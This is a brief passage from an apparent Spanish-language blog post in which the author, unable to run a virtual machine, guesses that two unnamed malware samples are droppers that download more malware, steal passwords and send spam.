Debido a que ya no puedo tener instalada la maquina virtual, no puedo ver que hacen estos dos malandros cibernéticos, pero juzgando por el tamaño, me imagino que son solo droppers, es decir que lo que hacen es que una vez que se ejecutan, traen más amiguitos a sus fiesta privada que esta en tu computadora, posiblemente roben tus contraseñas y envíen spam, claro también van a seguir distribuyéndose a más incautos.

Saludos

Etiquetas: malware, antivirus, blogs, cosas, pendejos

]]>